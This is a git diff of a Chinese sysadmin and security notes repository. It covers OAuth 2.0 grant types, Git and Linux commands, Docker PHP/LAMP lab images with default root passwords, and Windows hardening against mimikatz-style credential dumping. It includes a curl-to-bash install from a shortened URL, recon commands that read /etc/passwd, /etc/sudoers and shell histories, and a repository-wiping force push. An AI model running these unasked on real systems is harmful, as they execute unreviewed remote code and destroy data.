diff --git "a/1earn/Develop/Web/\347\254\224\350\256\260/\350\256\244\350\257\201&\346\216\210\346\235\203.md" "b/1earn/Develop/Web/\347\254\224\350\256\260/\350\256\244\350\257\201&\346\216\210\346\235\203.md" index 2d0b269e..8bd570ba 100644 --- "a/1earn/Develop/Web/\347\254\224\350\256\260/\350\256\244\350\257\201&\346\216\210\346\235\203.md" +++ "b/1earn/Develop/Web/\347\254\224\350\256\260/\350\256\244\350\257\201&\346\216\210\346\235\203.md" @@ -261,11 +261,18 @@ header.payload.signature # OAuth +OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 OAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 OAuth 是安全的。OAuth 是 Open Authorization 的简写。OAuth 已经有 2.0 版本了,2007 年发布了 OAuth1.0 协议,2011 年发布会了 OAuth2.0,2.0 与 1.0 之间不兼容。OAuth2.0 是目前最流行的授权机制,用来授权第三方应用,获取用户数据。 + **相关文章** - [理解OAuth 2.0](https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html) - [OAuth 2.0 的一个简单解释](https://www.ruanyifeng.com/blog/2019/04/oauth_design.html) - [关于 OAuth2.0 安全性你应该要知道的一些事](https://www.chrisyue.com/security-issue-about-oauth-2-0-you-should-know.html) - [OAuth 2.0 的四种方式](https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html) +- [OAuth2.0 认证](https://mp.weixin.qq.com/s/JYb26bWL99i46Bc77rCKUQ) + +**OAuth 的应用举例** + +开发者 A 注册某 IT 论坛后,发现可以在信息栏中填写自己的 Github 个人信息和仓库项目,但是他又觉得手工填写十分麻烦,但是直接提供 Github 账户和密码给论坛又是非常危险的事情。开发者 A 发现在该论坛处,可以点击 “导入” 按钮,授权该论坛访问自己的 Github 账户并限制其只具备读权限。这样一来, Github 中的所有仓库和相关信息就可以很方便地被导入到信息栏中,账户隐私信息也不会泄露。 **OAuth 如何授权** @@ -275,7 +282,8 @@ OAuth 引入了一个授权层,用来分离两种不同的角色:客户端 RFC 6749 标准定义了获得令牌的四种授权方式 > 注意,不管哪一种授权方式,第三方应用申请令牌之前,都必须先到系统备案,说明自己的身份,然后会拿到两个身份识别码:客户端 ID(client ID)和客户端密钥(client secret)。这是为了防止令牌被滥用,没有备案过的第三方应用,是不会拿到令牌的。 -- 授权码(authorization-code) : 第三方应用先申请一个授权码,然后再用该码获取令牌。 + +- 授权码(authorization-code) : 第三方应用先申请一个授权码,然后再用该码获取令牌,适用于所有有 Server 端的应用,如 Web 站点、有 Server 端的手机客户端 这种方式是最常用的流程,安全性也最高,它适用于那些有后端的 Web 应用。授权码通过前端传送,令牌则是储存在后端,而且所有与资源服务器的通信都在后端完成。这样的前后端分离,可以避免令牌泄漏。 @@ -347,7 +355,7 @@ RFC 6749 标准定义了获得令牌的四种授权方式 上面 JSON 数据中,`access_token` 字段就是令牌,A 网站在后端拿到了。 -- 隐藏式/简化模式(implicit): 允许直接向前端颁发令牌。这种方式没有授权码这个中间步骤,所以称为(授权码)"隐藏式"(implicit)。 +- 隐藏式/简化模式(implicit): 允许直接向前端颁发令牌。这种方式没有授权码这个中间步骤,所以称为(授权码)"隐藏式"(implicit),结合移动应用或 Web App 使用. 有些 Web 应用是纯前端应用,没有后端。这时就不能用上面的方式了,必须将令牌储存在前端。 @@ -385,7 +393,7 @@ RFC 6749 标准定义了获得令牌的四种授权方式 这种方式把令牌直接传给前端,是很不安全的。因此,只能用于一些安全要求不高的场景,并且令牌的有效期必须非常短,通常就是会话期间(session)有效,浏览器关掉,令牌就失效了。 -- 密码式(password):如果你高度信任某个应用,RFC 6749 也允许用户把用户名和密码,直接告诉该应用。该应用就使用你的密码,申请令牌,这种方式称为"密码式"(password)。 +- 密码式(password):如果你高度信任某个应用,RFC 6749 也允许用户把用户名和密码,直接告诉该应用。该应用就使用你的密码,申请令牌,这种方式称为"密码式"(password),例如同个组织的内部或外部应用. - 第一步 @@ -411,7 +419,7 @@ RFC 6749 标准定义了获得令牌的四种授权方式 这种方式需要用户给出自己的用户名/密码,显然风险很大,因此只适用于其他授权方式都无法采用的情况,而且必须是用户高度信任的应用。 -- 客户端凭证(client credentials) : 命令行下请求令牌 +- 客户端凭证(client credentials) : 命令行下请求令牌,比如百度 API Store. - 第一步 diff --git "a/1earn/Develop/\347\211\210\346\234\254\346\216\247\345\210\266/Git\345\255\246\344\271\240\347\254\224\350\256\260.md" "b/1earn/Develop/\347\211\210\346\234\254\346\216\247\345\210\266/Git\345\255\246\344\271\240\347\254\224\350\256\260.md" index 8ef99458..7e7f2953 100644 --- "a/1earn/Develop/\347\211\210\346\234\254\346\216\247\345\210\266/Git\345\255\246\344\271\240\347\254\224\350\256\260.md" +++ "b/1earn/Develop/\347\211\210\346\234\254\346\216\247\345\210\266/Git\345\255\246\344\271\240\347\254\224\350\256\260.md" @@ -18,6 +18,7 @@ * [撤销Git操作](#撤销git操作) * [跳转](#跳转) * [子模块](#子模块) + * [大小写](#大小写) * **[远程操作](#远程操作)** * [clone](#clone) @@ -386,6 +387,17 @@ $ git push origin master --- +## 大小写 + +git 默认对于文件名大小写是不敏感的,所以你修改了首字母大写,但是 git 并没有发现代码任何改动. + +可以配置 git 使其对文件名大小写敏感 +```bash +git config core.ignorecase false +``` + +--- + # 远程操作 ![](../../../assets/img/Develop/版本控制/git/3.png) @@ -545,6 +557,17 @@ git push --force origin git push --force origin # 如果报错可以强行推送 ``` +- **重建版本库** + + ```bash + rm -rf .git + git init + git add . + git cm "first commit" + git remote add origin + git push -f -u origin master + ``` + - **Github 进行 fork 后如何与原仓库同步** ```bash diff --git a/1earn/Integrated/Linux/Power-Linux.md b/1earn/Integrated/Linux/Power-Linux.md index 9ae88c80..eb155c65 100644 --- a/1earn/Integrated/Linux/Power-Linux.md +++ b/1earn/Integrated/Linux/Power-Linux.md @@ -417,6 +417,11 @@ vim AdGuardHome.yaml ./AdGuardHome -s restart ``` +**Tips** + +配合下列项目获得更好的体验 +- https://github.com/privacy-protection-tools/anti-AD + --- ## butterfly @@ -2280,11 +2285,12 @@ forever -h # 查看帮助 - **源代码编译安装** - 自己下载好包 https://nginx.org/en/download.html,传到服务器上,这里以1.14.2 举例 + 自己下载好包 https://nginx.org/en/download.html ,传到服务器上,这里以 1.16.1 举例 ```bash - tar -zxvf nginx-1.14.2.tar.gz - cd nginx-1.14.2/ + wget https://nginx.org/download/nginx-1.16.1.tar.gz + tar -zxvf nginx-1.16.1.tar.gz + cd nginx-1.16.1/ ./configure make make install @@ -2486,7 +2492,11 @@ rabbitmqctl set_user_tags [账号] administrator # 修改用户角色 add-apt-repository universe apt-get update -apt-get install -y git build-essential libxslt-dev python-dev python-virtualenv python-babel zlib1g-dev libffi-dev libssl-dev vim lrzsz unzip +sudo -H apt-get install -y \ + python3-dev python3-babel python3-venv \ + uwsgi uwsgi-plugin-python3 \ + git build-essential libxslt-dev zlib1g-dev libffi-dev libssl-dev \ + shellcheck ``` 安装 searx @@ -5115,12 +5125,14 @@ setenforce 0 # 关闭 selinux ```bash docker version # 查看 docker 版本 docker run -it [docker_id] bash # 运行一个容器实例 + docker run -d -p 物理端口1:容器端口1 -p 物理端口2:物理端口2 --name 容器名 : docker run --name=test -p 1234:1234 -itd ubuntu /bin/bash # 使用本地 1234 端口连接 docker 的 1234 端口运行 ubuntu 镜像,并将其临时命名为 test # test:为临时名称,可以自定义填写。 # -p: 第一个端口为本机的端口,第二个端口为 Docker 的端口。 # -itd:意思是在后台运行,交互式运行,并且输出当前的信息 # /bin/bash:调用 Shell + docker run -d -p 8080:80 -v 本机路径:容器路径 --name 容器名 : # 磁盘挂载 docker stop [docker_name/docker_id] # 停止容器 docker start [options] container [container...] # 启动一个或多个已停止的容器 docker exec -it [docker_id] bash # 获取容器的 shell @@ -5145,6 +5157,33 @@ setenforce 0 # 关闭 selinux docker rmi -f [docker_image_id] # 删除本地的 docker 镜像 ``` +- 打包上传 + ```bash + # 容器打包镜像 + docker commit -a "作者" -m "备注" 容器ID : + + # 将容器打包成规范的镜像 + docker commit -m /[:] + + # 登录 Docker Hub + docker login + + # 上传推送镜像到公共仓库 + docker push /: + + # 当前目录的 Dockerfile 创建镜像 + docker build -t : . + + # 指定文件构建镜像 + docker build -f /path/to/a/Dockerfile -t : . + + # 将镜像保存 tar 包 + docker save -o image-name.tar : + + # 导入 tar 镜像 + docker load --input image-name.tar + ``` + - 默认情况下,只有管理员权限能够运行 docker 命令.考虑到安全问题,你不会想用 root 用户或使用 sudo 来运行 Docker 的.要解决这个问题,你需要将自己的用户加入到 docker 组中. ```bash usermod -a -G docker $USER @@ -5159,6 +5198,9 @@ setenforce 0 # 关闭 selinux **加速** - [Docker 镜像加速](../../Plan/Misc-Plan.md#Docker) +**实验** +- [Docker](./实验/Docker.md) + **常见报错** - Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? ```bash @@ -5252,7 +5294,7 @@ docker-compose exec [service] sh # 进入容器内 ```bash docker pull portainer/portainer # 拉取镜像 docker volume create portainer_data -docker run -d -p 9000:9000 --name portainer --restart always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer # 部署 +docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce # 部署 ``` 访问 ip:9000 进入到设置密码界面. diff --git a/1earn/Integrated/Linux/Secure-Linux.md b/1earn/Integrated/Linux/Secure-Linux.md index a47a7758..926e18ec 100644 --- a/1earn/Integrated/Linux/Secure-Linux.md +++ b/1earn/Integrated/Linux/Secure-Linux.md @@ -522,7 +522,7 @@ chkconfig --list 通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,查看哪些命令是否被替换了 ```bash -rpm -Va > rpm.log +rpm -Va # 如果一切均校验正常将不会产生任何输出,如果有不一致的地方,就会显示出来,输出格式是8位长字符串,每个字符都用以表示文件与RPM数据库中一种属性的比较结果 ,如果是. (点) 则表示测试通过。 验证内容中的8个信息的具体内容如下: diff --git a/1earn/Integrated/Linux/Speed-Linux.md b/1earn/Integrated/Linux/Speed-Linux.md index d9706f6e..82f25fd4 100644 --- a/1earn/Integrated/Linux/Speed-Linux.md +++ b/1earn/Integrated/Linux/Speed-Linux.md @@ -267,8 +267,8 @@ souce ~/.config/fish/config.fish # e.g. sort namesd.txt | uniq # 使用 uniq 命令从文件中删除重复项 - sort namesd.txt | uniq –c # 使用 Uniq 显示重复的行数 - sort namesd.txt | uniq –cd # 使用 Uniq 仅显示重复的行 + sort namesd.txt | uniq -c # 使用 Uniq 显示重复的行数 + sort namesd.txt | uniq -cd # 使用 Uniq 仅显示重复的行 grep name /proc/cpuinfo | uniq # 查询 cpuinfo 信息合并成一条 cat /proc/cpuinfo | grep name |cut -f2 -d ":" | uniq # 查询 cpuinfo 信息合并成一条并只输出: 后的内容 ``` @@ -290,8 +290,8 @@ souce ~/.config/fish/config.fish # e.g. find ~ -name '*.tmp' -print0 | xargs -0 rm -f # 尝试使用 rm 删除所有 tmp 文件 - find /etc -name "*.conf" | xargs ls –l # 获取 /etc/ 下所有 *.conf 文件的列表 - cat url-list.txt | xargs wget –c # 如果需要从文件读取要下载的 URL 列表 + find /etc -name "*.conf" | xargs ls -l # 获取 /etc/ 下所有 *.conf 文件的列表 + cat url-list.txt | xargs wget -c # 如果需要从文件读取要下载的 URL 列表 find / -name *.jpg -type f -print | xargs tar -cvzf images.tar.gz # 找出所有 jpg 图像并将其存档 ls *.jpg | xargs -n1 -i cp {} /external-hard-drive/directory # 将所有图像复制到外部硬盘驱动器 ``` @@ -303,8 +303,8 @@ souce ~/.config/fish/config.fish # e.g. ls | tee file # 将输出既写入屏幕(stdout),又写入文件 ls | tee file1 file2 file3 # 输出写入多个文件 - ls | tee –a file # 追加而不是覆盖 - crontab -l | tee crontab-backup.txt | sed 's/old/new/' | crontab – # 对 crontab 条目进行备份,并将 crontab 条目作为 sed 命令的输入,由 sed 命令进行替换。替换后,它将被添加为一个新的cron作业。 + ls | tee -a file # 追加而不是覆盖 + crontab -l | tee crontab-backup.txt | sed 's/old/new/' | crontab - # 对 crontab 条目进行备份,并将 crontab 条目作为 sed 命令的输入,由 sed 命令进行替换。替换后,它将被添加为一个新的cron作业。 ``` **其他符号工具** @@ -317,6 +317,13 @@ tail # 显示文件中的尾部内容.默认下,显示文件的末尾 10 行内 ## 会话 +**清屏** +```bash +clear # 刷新屏幕,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息 +reset # 完全刷新终端屏幕 +printf "\033c" +``` + **查看用户信息** ```bash id @@ -333,6 +340,7 @@ Ctrl+R # 搜索历史命令 Ctrl+P # 切换上一个命令 alt+F1-F6 # 切换虚拟控制台 Alt+F7 # 图形界面 +Ctrl+L # 清除命令 ``` **screen** @@ -552,7 +560,7 @@ which # 指令搜索,查找并显示给定命令的绝对路径 # e.g. find / -name conf* # 查找根目录及子目录下所有 conf 文件 find / -name site-packages -d # 查找 site-packages 目录 - find . –mtime -2 # 查找最近两天在当前目录下修改过的所有文件 + find . -mtime -2 # 查找最近两天在当前目录下修改过的所有文件 find / -type f -size + 100M # 列出系统中大于100MB的所有文件 ``` @@ -1925,6 +1933,8 @@ vim /etc/crontab # 编辑系统任务调度的配置文件 30 6 */10 * * ls # 意思是每月 1、11、21、31 日的 6:30 执行一次 ls 命令 ``` +可以使用在线的 CRON 表达式工具辅助 : https://tool.lu/crontab/ + **at** > 在特定的时间执行一次性的任务 @@ -2113,7 +2123,7 @@ setfacl -b # 删除 ACL ps -l # 长格式显示详细的信息 ps -a # 显示一个终端的所有进程,除会话引线外 ps -A # 显示所有进程信息 - ps –u root # 指定用户的所有进程信息 + ps -u root # 指定用户的所有进程信息 ps -e # 显示所有进程信息 ps aux # 查看系统中所有的进程显示所有包含其他使用者的行程 ps -axjf # 以程序树的方式显示 @@ -2162,6 +2172,12 @@ watch # 以周期性的方式执行给定的指令,指令输出以全 killall # 使用进程的名称来杀死进程 ``` +- pkill + ```bash + # pkill 用于杀死一个进程,与 kill 不同的是它会杀死指定名字的所有进程 + pkill -9 php-fpm # 结束所有的 php-fpm 进程 + ``` + ```bash ctrl+z # 将前台运行的任务暂停,仅仅是暂停,而不是将任务终止. bg # 转后台运行 @@ -2261,12 +2277,34 @@ echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf # 重启自动关闭 ## 设备管理 -**查看硬件信息** +更多内容见笔记 [信息](./笔记/信息.md) + +### 内存 + +**虚拟内存** + +```bash +free -h # 查看 swap 分区 +vmstat +swapon -s +``` + +如果机器没有安装 swap 分区可以自己分配一个 ```bash -lspci # 打印有关系统中所有 PCI 总线和设备的详细信息 -lsmod # 显示可加载内核模块 -lsusb # 查看 usb 设备 -lsblk # 列出所有可用块设备的信息 +# 创建一个swap文件,大小为1G +dd if=/dev/zero of=/home/f8xswap bs=1M count=1024 + +# 将文件格式转换为swap格式的 +mkswap /home/f8xswap + +# 把这个文件分区挂载swap分区 +swapon /home/f8xswap + +``` + +长期挂载 +``` +echo "/home/f8xswap swap swap default 0 0" >> /etc/fstab ``` ### 磁盘 @@ -2296,16 +2334,6 @@ fdisk /dev/sdb # 创建系统分区 w # 写入分区表 ``` -如果机器没有安装 swap 分区可以自己分配一个 -```bash -dd if=/dev/zero of=/home/swap bs=1024 count=512000 -/sbin/mkswap /home/swap -/sbin/swapon /home/swap -``` -```bash -free -h # 查看 swap 分区 -``` - **挂载** ```bash cat /etc/fstab diff --git "a/1earn/Integrated/Linux/\345\256\236\351\252\214/Docker.md" "b/1earn/Integrated/Linux/\345\256\236\351\252\214/Docker.md" new file mode 100644 index 00000000..afac91c3 --- /dev/null +++ "b/1earn/Integrated/Linux/\345\256\236\351\252\214/Docker.md" @@ -0,0 +1,113 @@ +# Docker + +> 笔记内容由 [xidaner](https://github.com/xidaner) 提供,仅做部分内容排版修改 + +--- + +使用docker 搭建`PHP`环境 + +**PHP** + +- PHP 5.2 + + |PHP版本|系统版本| Apache 版本|Web路径|COMMAND| + |-|-|-|-|-| + |5.2.17|Ubuntu 16.04.5|2.2.22| /var/www/html|/init.sh| + + ```bash + # 拉取镜像 + docker pull seti/php52:latest + + # 运行容器 + docker run -d -p 8080:80 --name PHP5.2 seti/php52:latestW + ``` + +- PHP 5.6 + + |PHP版本|系统版本| Apache 版本|Web路径|COMMAND| + |-|-|-|-|-| + |5.6.40|Ubuntu 16.04.5|2.4.37|/var/www/app|/sbin/entrypoint.sh| + + ```bash + # 拉取镜像 + docker pull romeoz/docker-apache-php:5.6 + + # 运行容器 + docker run -d -p 8080:80 --name PHP5.6 romeoz/docker-apache-php:5.6 + ``` + +- PHP 7.3 + + |PHP版本|系统版本| Apache 版本|Web路径|COMMAND| + |-|-|-|-|-| + |7.3.10|Ubuntu 18.04.3|2.4.4|/var/www/app|/sbin/entrypoint.sh| + + ```bash + # 拉取镜像 + docker pull romeoz/docker-apache-php:7.3 + + # 运行容器 + docker run -d -p 8080:80 --name PHP7.3 romeoz/docker-apache-php:7.3 + ``` + +**LAMP** + +- PHP 5.6.28 + MariaDB 10.1.19 + + |PHP版本|MariaDB版本|系统版本|Apache 版本 |Web路径| COMMAND| + |-|-|-|-|-|-| + |5.6.28 |10.1.19 |Alpine Linux 3.4 |2.4.23| /var/www/html| /start.sh| + + MySQL 的用户名和密码信息: + + |用户名|密码| + |-|-| + |root|空| + + ```bash + # 拉取镜像 + docker pull janes/alpine-lamp:latest + + # 运行容器 + docker run -d -p 8080:80 --name LAMP janes/alpine-lamp:latest + ``` + +- PHP 5.5.9 + MySQL 5.5.61 + + |PHP版本|MySQL版本|系统版本|Apache 版本 |Web路径| COMMAND| + |-|-|-|-|-|-| + |5.5.9 |5.5.61 |Ubuntu 14.04.5 |2.4.7| /var/www/html| /start.sh| + + MySQL 的用户名和密码信息: + + |用户名|密码| + |-|-| + |root|root| + + ```bash + # 拉取镜像 + docker pull medicean/vulapps:base_lamp + + # 运行容器 + docker run -d -p 8080:80 --name LAMP medicean/vulapps:base_lamp + ``` + +- PHP 7.3.22 + MariaDB 10.4.15 + + |PHP版本|MariaDB版本|系统版本|Apache 版本 |Web路径| COMMAND| + |-|-|-|-|-|-| + |7.3.22 |10.4.15 |Alpine Linux 3.11|2.4.46|/var/www/localhost/htdocs|/entry.sh| + + MySQL 的用户名和密码信息: + + |用户名|密码| + |-|-| + |root|root| + + ```bash + # 拉取镜像 + docker pull sqlsec/alpine-lamp + + # 运行容器 记住要指定密码 + docker run -d -p 8080:80 --name LAMP -e MYSQL_ROOT_PASSWORD=root sqlsec/alpine-lamp + ``` diff --git "a/1earn/Integrated/Linux/\347\254\224\350\256\260/shell\347\274\226\347\250\213.md" "b/1earn/Integrated/Linux/\347\254\224\350\256\260/shell\347\274\226\347\250\213.md" index c04bd985..b11ce578 100644 --- "a/1earn/Integrated/Linux/\347\254\224\350\256\260/shell\347\274\226\347\250\213.md" +++ "b/1earn/Integrated/Linux/\347\254\224\350\256\260/shell\347\274\226\347\250\213.md" @@ -37,6 +37,12 @@ - source 命令可以影响执行脚本的父 shell 的环境,而 export 则只能影响其子 shell 的环境. - source a.sh 同直接执行 ./a.sh 有什么不同呢,比如你在一个脚本里 `export $KKK=111` ,如果你用 ./a.sh 执行该脚本,执行完毕后,你运行 `echo $KKK` ,发现没有值,如果你用 `source` 来执行 ,然后再 `echo` ,就会发现 KKK=111.因为调用 ./a.sh 来执行 shell 是在一个子 shell 里运行的,所以执行后,结果并没有反应到父 shell 里,不过 source 不同,他就是在本 shell 中执行的,所以能看到结果. +**sast 工具** +- https://github.com/koalaman/shellcheck + +**资源教程** +- [dylanaraps/pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible#get-the-username-of-the-current-user) + --- # 大纲 @@ -1694,11 +1700,11 @@ echo "地址:$url" # 调式脚本 -在 shell 脚本中添加 set –xv 来调试输出 +在 shell 脚本中添加 set -xv 来调试输出 ```diff vim test.sh -++ set –xv +++ set -xv ``` 或者在执行 shell 脚本时提供该设置 diff --git "a/1earn/Integrated/Linux/\347\254\224\350\256\260/\344\277\241\346\201\257.md" "b/1earn/Integrated/Linux/\347\254\224\350\256\260/\344\277\241\346\201\257.md" index 04d8858b..e1a9685a 100644 --- "a/1earn/Integrated/Linux/\347\254\224\350\256\260/\344\277\241\346\201\257.md" +++ "b/1earn/Integrated/Linux/\347\254\224\350\256\260/\344\277\241\346\201\257.md" @@ -57,7 +57,6 @@ cat ~/.bash_logout env set export # 查看所有环境变量 -env ``` --- @@ -184,10 +183,8 @@ crontab -e # 编辑计划任务命令 id # 显示真实有效的用户 ID(UID)和组 ID(GID) whoami # 当前用户 groups # 当前组 -cut -d: -f1 /etc/passwd # 查看系统所有用户 who # 显示目前登录系统的用户信息 -cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers @@ -221,12 +218,15 @@ cat ~/.php_history # 硬件 +**查看硬件信息** ```bash +lspci # 打印有关系统中所有 PCI 总线和设备的详细信息 +lsmod # 显示可加载内核模块 +lsusb # 查看 usb 设备 +lsblk # 列出所有可用块设备的信息 lshw # 查看硬件信息 ulimit # 显示系统资源限制的信息 lpstat -a # 显示 CUPS 中打印机的状态信息 -lsusb -lspci ``` ## CPU @@ -347,6 +347,7 @@ getent services # 查看所有服务的默认端口名称和端口号 ss -tnlp lsof -i netstat -antup +netstat -anptl netstat -antpx netstat -tulpn sockstat # A Note About FreeBSD Users diff --git "a/1earn/Integrated/Linux/\347\254\224\350\256\260/\345\267\245\345\205\267.md" "b/1earn/Integrated/Linux/\347\254\224\350\256\260/\345\267\245\345\205\267.md" index e80fbf34..df589255 100644 --- "a/1earn/Integrated/Linux/\347\254\224\350\256\260/\345\267\245\345\205\267.md" +++ "b/1earn/Integrated/Linux/\347\254\224\350\256\260/\345\267\245\345\205\267.md" @@ -132,6 +132,18 @@ dpkg -i duf_0.5.0_linux_amd64.deb duf ``` +**glances** + +> top/htop 的替代品 + +- https://github.com/nicolargo/glances + +``` +curl -L https://bit.ly/glances | /bin/bash + +glances +``` + # 网络测试调试 **BestTrace** diff --git "a/1earn/Integrated/Linux/\347\254\224\350\256\260/\350\277\233\347\250\213.md" "b/1earn/Integrated/Linux/\347\254\224\350\256\260/\350\277\233\347\250\213.md" index e4eb140e..bc672b13 100644 --- "a/1earn/Integrated/Linux/\347\254\224\350\256\260/\350\277\233\347\250\213.md" +++ "b/1earn/Integrated/Linux/\347\254\224\350\256\260/\350\277\233\347\250\213.md" @@ -289,6 +289,7 @@ Linux中进程的七种状态 当进程正在被跟踪时,它处于 TASK_TRACED 这个特殊的状态。“正在被跟踪”指的是进程暂停下来,等待跟踪它的进程对它进行操作。比如在 gdb 中对被跟踪的进程下一个断点,进程在断点处停下来的时候就处于 TASK_TRACED 状态。而在其他时候,被跟踪的进程还是处于前面提到的那些状态。 对于进程本身来说,TASK_STOPPED 和 TASK_TRACED 状态很类似,都是表示进程暂停下来。 + 而 TASK_TRACED 状态相当于在 TASK_STOPPED 之上多了一层保护,处于 TASK_TRACED 状态的进程不能响应 SIGCONT 信号而被唤醒。只能等到调试进程通过 ptrace 系统调用执行 PTRACE_CONT、PTRACE_DETACH 等操作(通过 ptrace 系统调用的参数指定操作),或调试进程退出,被调试的进程才能恢复 TASK_RUNNING 状态。 **Z (TASK_DEAD - EXIT_ZOMBIE),退出状态,进程成为僵尸进程** diff --git a/1earn/Integrated/Windows/Secure-Win.md b/1earn/Integrated/Windows/Secure-Win.md index 3f93e1b4..974970fb 100644 --- a/1earn/Integrated/Windows/Secure-Win.md +++ b/1earn/Integrated/Windows/Secure-Win.md @@ -28,6 +28,10 @@ * [RDP](#rdp) * [DNS](#dns) +* **[防御密码抓取](#防御密码抓取)** + +* **[防御Responder欺骗](#防御responder欺骗)** + --- # 文件 @@ -221,7 +225,7 @@ REG query HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ HKEY_CLASSES_ROOT\ LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624" ``` - 提取登录成功的用户名和IP + 提取登录成功的用户名和 IP ``` LogParser.exe -i:EVT -o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624" ``` @@ -261,6 +265,12 @@ Python 开发的解析 windows 日志文件的工具,可采用手动添加文 项目地址 : https://github.com/Clayeee/Win-Logs-Parse-tool +**LogonTracer** + +通过可视化和分析 Windows 事件日志来调查恶意 Windows 登录的工具 + +项目地址 : https://github.com/JPCERTCC/LogonTracer + ### 第三方程序日志 **web日志** @@ -326,7 +336,7 @@ tasklist | findstr “PID” - [y11en/BlockRDPBrute](https://github.com/y11en/BlockRDPBrute) - [HIPS]RDP(3389)爆破防护 **连接记录** -- [Windows RDP 连接记录](../../Security/笔记/RedTeam/Windows安全.md#连接记录) +- [Windows RDP 连接记录](../../Security/RedTeam/OS安全/Windows安全.md#连接记录) --- @@ -387,3 +397,130 @@ windows 8.1 和 windows server 2012 R2 及以上版本的操作系统,可以 .\Get-CimDNSCache.ps1 # include file Get-CimDNSCache -Name *microsoft* -Type A ``` + +--- + +# 防御密码抓取 + +**WDigest 禁用缓存** + +WDigest.dll 是在 Windows XP 操作系统中引入的,当时这个协议设计出来是把明文密码存在 lsass 里为了 http 认证的。WDigest 的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中。 + +默认在 win2008 之前是默认启用的。但是在 win2008 之后的系统上,默认是关闭的。如果在 win2008 之前的系统上打了 KB2871997 补丁,那么就可以去启用或者禁用 WDigest。 + +补丁下载地址 +- Windows 7 x86 : https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu +- Windows 7 x64 : https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu +- Windows Server 2008 R2 x64 Edition : https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu + +启用或者禁用WDigest修改注册表位置: +``` +HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest +``` +UseLogonCredential 值设置为 0, WDigest不把凭证缓存在内存,mimiktaz抓不到明文;UseLogonCredential 值设置为 1, WDigest把凭证缓存在内存,mimiktaz可以获取到明文。 + +在注册表中将UseLogonCredential 值设置为 0,或者使用命令 +``` +reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f +reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential +``` + +**Debug 权限** + +Mimikatz 在获取密码时需要有本地管理员权限,因为它需要与 lsass 进程所交互,需要有调试权限来调试进程,默认情况下本地管理员拥有调试权限,但是这个权限一般情况是很少用得到的,所以可以通过关闭 debug 权限的方法来防范 Mimikatz。 + +![](../../../assets/img/Integrated/Windows/Secure-Win/3.png) + +删除上图的 administrators 组,这样管理员也没了 debug 权限。 + +**LSA Protection** + +自 Windows 8.1 开始为 LSA 提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到 LSA 的插件都必须使用 Microsoft 签名进行数字签名。 在 LSA Protection 保护模式下,mimikatz 运行 sekurlsa::logonpasswords 抓取密码会报错。 + +可以通过注册表开启 LSA Protection,注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 新建 - DWORD(32)值,名称为 RunAsPPL, 数值为 00000001,然后重启系统生效。 + +或者使用命令来完成 +``` +REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f +``` + +![](../../../assets/img/Integrated/Windows/Secure-Win/6.png) + +此操作无法防御直接从 SAM 读取的方法 + +**受限制的管理模式** + +对于 Windows 2012 R2 和 Windows 8.1 之前的旧操作系统,需要先安装补丁 KB2871997。 + +先在 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa` 设置 `RunAsPPL` 为 `1` 然后在 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa` 设置 `DisableRestrictedAdmin` 为 `0` , `DisableRestrictedAdminOutboundCreds` 为 `1` 。 + +然后需要在域中强制执行 “对远程服务器的凭据限制委派” 策略, 以确保所有出站 RDP 会话都使用 “RestrictedAdmin” 模式, 因此才不会泄露凭据。 + +具体位置是组策略:计算机配置 -- 管理模板 -- 系统 -- 凭据分配 -- 限制向远程服务器分配凭据,选择已启用. + +![](../../../assets/img/Integrated/Windows/Secure-Win/4.png) + +**禁用凭证缓存** + +Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。如果域控制器不可用,那么windows将检查缓存的最后一个密码hash值,这样为以后系统对用户进行身份验证。缓存位置如下: +``` +HKEY_LOCAL_MACHINE\SECURITY\Cache +``` +在组策略中设置禁用缓存 + +![](../../../assets/img/Integrated/Windows/Secure-Win/5.png) + +计算机配置--windows设置--安全设置--本地策略--安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 